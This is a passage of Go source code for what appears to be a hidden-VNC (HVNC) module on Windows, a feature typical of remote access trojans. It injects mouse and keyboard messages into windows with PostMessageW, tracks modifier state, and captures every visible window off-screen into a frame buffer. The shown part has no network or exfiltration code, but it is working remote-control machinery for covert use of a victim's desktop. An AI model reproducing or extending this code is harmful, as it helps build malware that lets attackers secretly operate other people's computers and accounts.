func rememberWorkingWindow(hwnd uintptr) {
if hwnd == 0 {
return
}
hvncInputMu.Lock()
hvncWorkingWindow = hwnd
hvncInputMu.Unlock()
}
func getWorkingWindow() uintptr {
hvncInputMu.Lock()
defer hvncInputMu.Unlock()
return hvncWorkingWindow
}
func currentHVNCCursor() point {
hvncInputMu.Lock()
if hvncHasCursor {
pt := hvncLastCursor
hvncInputMu.Unlock()
return pt
}
hvncInputMu.Unlock()
var pt point
procGetCursorPosHVNC.Call(uintptr(unsafe.Pointer(&pt)))
return pt
}
func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) {
procPostMessageW.Call(hwnd, uintptr(msg), wparam, makeLParam(pt.x, pt.y))
}
func setPendingActivation(hwnd uintptr) {
hvncInputMu.Lock()
hvncPendingActivate = hwnd
hvncInputMu.Unlock()
}
func consumePendingActivation() uintptr {
hvncInputMu.Lock()
defer hvncInputMu.Unlock()
hwnd := hvncPendingActivate
hvncPendingActivate = 0
return hwnd
}
func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) {
scan := mapVirtualKey(uint32(vk))
lparam := uintptr(1 | (scan << 16))
if msg == WM_KEYUP {
lparam |= 1 << 30
lparam |= 1 << 31
}
procPostMessageW.Call(hwnd, uintptr(msg), uintptr(vk), lparam)
}
func setMouseButton(button int, down bool) uint32 {
hvncInputMu.Lock()
defer hvncInputMu.Unlock()
var mask uint32
switch button {
case 0:
mask = MK_LBUTTON
case 1:
mask = MK_MBUTTON
case 2:
mask = MK_RBUTTON
default:
return hvncMouseButtons
}
if down {
hvncMouseButtons |= mask
} else {
hvncMouseButtons &^= mask
}
return hvncMouseButtons
}
func currentMouseButtons() uint32 {
hvncInputMu.Lock()
defer hvncInputMu.Unlock()
return hvncMouseButtons
}
func mapVirtualKey(vk uint32) uintptr {
r, _, _ := procMapVirtualKeyW.Call(uintptr(vk), 0)
return r
}
func virtualKeyToChars(vk uint16) []rune {
buf := make([]uint16, 8)
state := buildKeyboardState()
ret, _, _ := procToUnicode.Call(
uintptr(vk),
mapVirtualKey(uint32(vk)),
uintptr(unsafe.Pointer(&state[0])),
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
0,
)
if ret == 0 {
return nil
}
if ret < 0 {
ret = -ret
}
return []rune(syscall.UTF16ToString(buf[:ret]))
}
func isWindowMaximized(hwnd uintptr) bool {
type windowPlacement struct {
length uint32
flags uint32
showCmd uint32
ptMinPositionX int32
ptMinPositionY int32
ptMaxPositionX int32
ptMaxPositionY int32
rcNormalLeft int32
rcNormalTop int32
rcNormalRight int32
rcNormalBottom int32
}
var wp windowPlacement
wp.length = uint32(unsafe.Sizeof(wp))
procGetWindowPlacement.Call(hwnd, uintptr(unsafe.Pointer(&wp)))
return wp.showCmd == SW_SHOWMAXIMIZED
}
func safeNCHitTest(hwnd uintptr, lparam uintptr) int32 {
const timeoutMs = 75
var result uintptr
r, _, _ := procSendMessageTimeoutW.Call(
hwnd,
WM_NCHITTEST,
0,
lparam,
SMTO_ABORTIFHUNG,
timeoutMs,
uintptr(unsafe.Pointer(&result)),
)
if r == 0 {
return 0
}
return int32(result)
}
func moveHVNCWindowIfDragging(screenPt point) {
hvncInputMu.Lock()
moving := hvncMovingWindow
hwnd := hvncWindowToMove
offset := hvncMoveOffset
size := hvncWindowSize
hvncInputMu.Unlock()
if !moving || hwnd == 0 {
return
}
newX := int32(screenPt.x) - offset.x
newY := int32(screenPt.y) - offset.y
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
}
func endHVNCWindowDrag(screenPt point) {
hvncInputMu.Lock()
moving := hvncMovingWindow
hwnd := hvncWindowToMove
offset := hvncMoveOffset
size := hvncWindowSize
hvncMovingWindow = false
hvncWindowToMove = 0
hvncInputMu.Unlock()
if !moving || hwnd == 0 {
return
}
newX := int32(screenPt.x) - offset.x
newY := int32(screenPt.y) - offset.y
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0)
}
func hvncMouseWheelOnThread(delta int32) error {
pt := currentHVNCCursor()
hwnd := windowFromPoint(pt)
if hwnd == 0 {
hwnd = getWorkingWindow()
if hwnd == 0 {
return nil
}
}
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
return nil
}
func isNonPrintableVK(vk uint16) bool {
if vk >= 0x70 && vk <= 0x7B { // F1-F12
return true
}
switch vk {
case 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28: // PageUp/Down, End, Home, Arrows
return true
case 0x2D, 0x2E: // Insert, Delete
return true
case 0x5B, 0x5C, 0x5D: // Win, Win, Apps
return true
case 0x91, 0x90: // Scroll, NumLock
return true
case 0x0D, 0x1B, 0x09, 0x08: // Enter, Escape, Tab, Backspace
return true
case 0x10, 0xA0, 0xA1, 0x11, 0xA2, 0xA3, 0x12, 0xA4, 0xA5, 0x14:
return true
default:
return false
}
}
func isModifierVK(vk uint16) bool {
switch vk {
case VK_SHIFT, VK_LSHIFT, VK_RSHIFT, VK_CONTROL, VK_LCONTROL, VK_RCONTROL, VK_MENU, VK_LMENU, VK_RMENU, VK_CAPITAL:
return true
default:
return false
}
}
func updateModifierState(vk uint16, down bool) {
hvncInputMu.Lock()
defer hvncInputMu.Unlock()
switch vk {
case VK_SHIFT, VK_LSHIFT, VK_RSHIFT:
hvncShiftDown = down
case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
hvncCtrlDown = down
case VK_MENU, VK_LMENU, VK_RMENU:
hvncAltDown = down
case VK_CAPITAL:
if down {
hvncCapsLock = !hvncCapsLock
}
}
}
func buildKeyboardState() []byte {
state := make([]byte, 256)
hvncInputMu.Lock()
shift := hvncShiftDown
ctrl := hvncCtrlDown
alt := hvncAltDown
caps := hvncCapsLock
hvncInputMu.Unlock()
if shift {
state[VK_SHIFT] = 0x80
}
if ctrl {
state[VK_CONTROL] = 0x80
}
if alt {
state[VK_MENU] = 0x80
}
if caps {
state[VK_CAPITAL] = 0x01
}
return state
}
func HVNCMonitorCount() int {
return displayCount()
}
func hvncResolveCaptureBounds(display int) (image.Rectangle, string) {
mons := monitorList()
if display >= 0 && display < len(mons) {
mon := mons[display]
bounds := captureBounds(mon)
if bounds.Dx() > 0 && bounds.Dy() > 0 {
return bounds, fmt.Sprintf("monitor=%d name=%q", display, mon.name)
}
}
if desktopBounds, ok := hvncDesktopBounds(); ok {
return desktopBounds, "desktop"
}
vx := int(getSystemMetric(SM_XVIRTUALSCREEN))
vy := int(getSystemMetric(SM_YVIRTUALSCREEN))
vw := int(getSystemMetric(SM_CXVIRTUALSCREEN))
vh := int(getSystemMetric(SM_CYVIRTUALSCREEN))
if vw > 0 && vh > 0 {
return image.Rect(vx, vy, vx+vw, vy+vh), "virtual"
}
return image.Rectangle{}, "unknown"
}
func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int {
hwnd := getTopWindow(0)
if hwnd == 0 {
return 0
}
hwnd = getWindow(hwnd, GW_HWNDLAST)
if hwnd == 0 {
return 0
}
// Initialize cache if needed
if hvncWinCache == nil {
hvncWinCache = make(map[uintptr]*hvncWinCacheEntry)
}
// Track which windows are still alive this frame
alive := make(map[uintptr]bool)
drawn := 0
for hwnd != 0 {
if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++
}
alive[hwnd] = true
hwnd = getWindow(hwnd, GW_HWNDPREV)
}
// Evict cache entries for windows that no longer exist
for h, entry := range hvncWinCache {
if !alive[h] {
hvncFreeCacheEntry(entry)
delete(hvncWinCache, h)
}
}
return drawn
}
func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCacheEntry {
entry, ok := hvncWinCache[hwnd]
if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 {
entry.age = 0
return entry
}
if ok {
hvncFreeCacheEntry(entry)
}
hdcMem := createCompatibleDC(hdcScreen)
if hdcMem == 0 {
return nil
}
bmi := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
var bits unsafe.Pointer
hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits)
if hbmp == 0 || bits == nil {
deleteDC(hdcMem)
return nil
}
selectObject(hdcMem, hbmp)
entry = &hvncWinCacheEntry{
hdcMem: hdcMem,
hbmp: hbmp,
bits: bits,
w: w,
h: h,
}
hvncWinCache[hwnd] = entry
return entry
}
func hvncFreeCacheEntry(entry *hvncWinCacheEntry) {
if entry.hbmp != 0 {
deleteObject(entry.hbmp)
}
if entry.hdcMem != 0 {
deleteDC(entry.hdcMem)
}
}
func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if !isWindowVisible(hwnd) {
return false
}
var r rect
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
if ok == 0 {
return false
}
winLeft := int(r.left)
winTop := int(r.top)
winRight := int(r.right)
winBottom := int(r.bottom)
if winRight <= winLeft || winBottom <= winTop {
return false
}
if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y {
return false
}
winW := winRight - winLeft
winH := winBottom - winTop
if winW <= 0 || winH <= 0 {
return false
}
// Use pooled DC+DIB from cache
entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH)
if entry == nil {
return false
}
if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) {
entry.lastOK = false
entry.age++
return false
}
entry.lastOK = true
buf := unsafe.Slice((*byte)(entry.bits), winW*winH*4)
winStride := winW * 4
interLeft := maxInt(winLeft, bounds.Min.X)
interTop := maxInt(winTop, bounds.Min.Y)
interRight := minInt(winRight, bounds.Max.X)
interBottom := minInt(winBottom, bounds.Max.Y)
if interRight <= interLeft || interBottom <= interTop {
return false
}
srcX := interLeft - winLeft
srcY := interTop - winTop
dstX := interLeft - bounds.Min.X
dstY := interTop - bounds.Min.Y
copyW := interRight - interLeft
copyH := interBottom - interTop
for y := 0; y < copyH; y++ {
srcStart := (srcY+y)*winStride + srcX*4
dstStart := (dstY+y)*targetStride + dstX*4
copy(target[dstStart:dstStart+copyW*4], buf[srcStart:srcStart+copyW*4])
}
return true
}
func maxInt(a, b int) int {
if a > b {
return a
}
return b
}
func minInt(a, b int) int {
if a < b {
return a
}
return b
}